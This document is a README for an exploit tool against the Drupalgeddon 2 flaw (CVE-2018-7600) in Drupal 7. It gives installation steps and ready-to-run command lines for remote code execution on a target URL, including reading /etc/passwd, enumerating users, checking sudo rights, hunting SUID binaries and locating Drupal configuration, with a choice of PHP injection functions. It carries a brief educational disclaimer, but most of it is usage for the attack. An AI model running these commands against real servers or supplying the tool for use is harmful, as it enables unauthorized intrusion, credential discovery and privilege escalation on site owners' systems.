🔥 Drupalgeddon 2 Exploit — `bixi.py`

📖 Description

bixi.py is an exploit for the CVE‑2018‑7600 (Drupalgeddon 2) vulnerability affecting Drupal 7. It allows remote command execution (RCE) on vulnerable Drupal servers through an intuitive interface and predefined commands.

⚠️ DISCLAIMER / LEGAL NOTICE

THIS SOFTWARE IS FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY IN CONTROLLED ENVIRONMENTS.

Only use on systems you own or have written permission to test
Unauthorized use is ILLEGAL and may result in criminal consequences
The author is not responsible for any misuse of this tool
Always comply with local and international cybersecurity laws

"With great power comes great responsibility"

📋 Features

✅ Automatic exploitation of CVE‑2018‑7600
✅ Predefined commands for Linux and Windows
✅ Multiple injection methods (system, passthru, exec, shell_exec)
✅ Intuitive interface with help system
✅ Robust error and timeout handling
✅ Formatted and easy‑to‑read output

🚀 Quick Installation

1. Clone repository

git clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
cd Drupalgeddon2-CVE-2018-7600

2. Install dependencies

# Kali / Debian / Ubuntu
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install requests

# Other distributions
pip3 install requests

3. Give execution permissions

chmod +x bixi.py

🎯 Basic Usage

View full help

python3 bixi.py --help

General syntax

python3 bixi.py <URL> <COMMAND/KEYWORD> [INJECTION_TYPE]

Practical examples

# Check vulnerability
python3 bixi.py http://10.99.99.6/drupal/ test

# Detect operating system
python3 bixi.py http://10.99.99.6/drupal/ linux
python3 bixi.py http://10.99.99.6/drupal/ windows

# Enumerate users
python3 bixi.py http://10.99.99.6/drupal/ users_linux
python3 bixi.py http://10.99.99.6/drupal/ net_user

# System information
python3 bixi.py http://10.99.99.6/drupal/ ifconfig
python3 bixi.py http://10.99.99.6/drupal/ ipconfig

# Custom commands
python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"

📊 Predefined Keywords

🐧 Linux

Command	Description
linux	System information
users_linux	List users
id	User/group info
ls	List files
ifconfig	Network info
find_flag	Search for flags

🪟 Windows

Command	Description
windows	System information
net_user	List users
whoami_win	Detailed info
ipconfig	Network
netstat_win	Connections
dir	List directory

🔧 Pentesting

Command	Description
sudo	Check sudo privileges
suid	Search for SUID binaries
net_localgroup	Local groups
drupal_config	Search for configurations
drupal_version	Get Drupal version

🎨 Injection Methods

# system (default)
python3 bixi.py http://target/ "whoami" system

# passthru
python3 bixi.py http://target/ "whoami" passthru

# exec
python3 bixi.py http://target/ "whoami" exec

# shell_exec
python3 bixi.py http://target/ "whoami" shell_exec

🏗️ Project Structure

drupalgeddon2-exploit/
│
├── bixi.py
├── README.md
├── requirements.txt
├── examples/
│   ├── linux_commands.txt
│   └── windows_commands.txt
└── screenshots/
    ├── help_screen.png
    └── exploit_success.png

🔧 Advanced Configuration

Proxy (optional)

proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

Timeout

Modify default value (15 seconds):

timeout=15

Add new commands

Edit the commands dictionary in get_command_for_keyword()

🐛 Troubleshooting

Error: No module named 'requests'

pip3 install requests

Error: Connection refused

# Check connectivity
ping TARGET_IP

# Check Drupal path
curl http://TARGET_IP/drupal/

Drupalgeddon2-CVE-2018-7600

Most Popular

🔥 Drupalgeddon 2 Exploit — bixi.py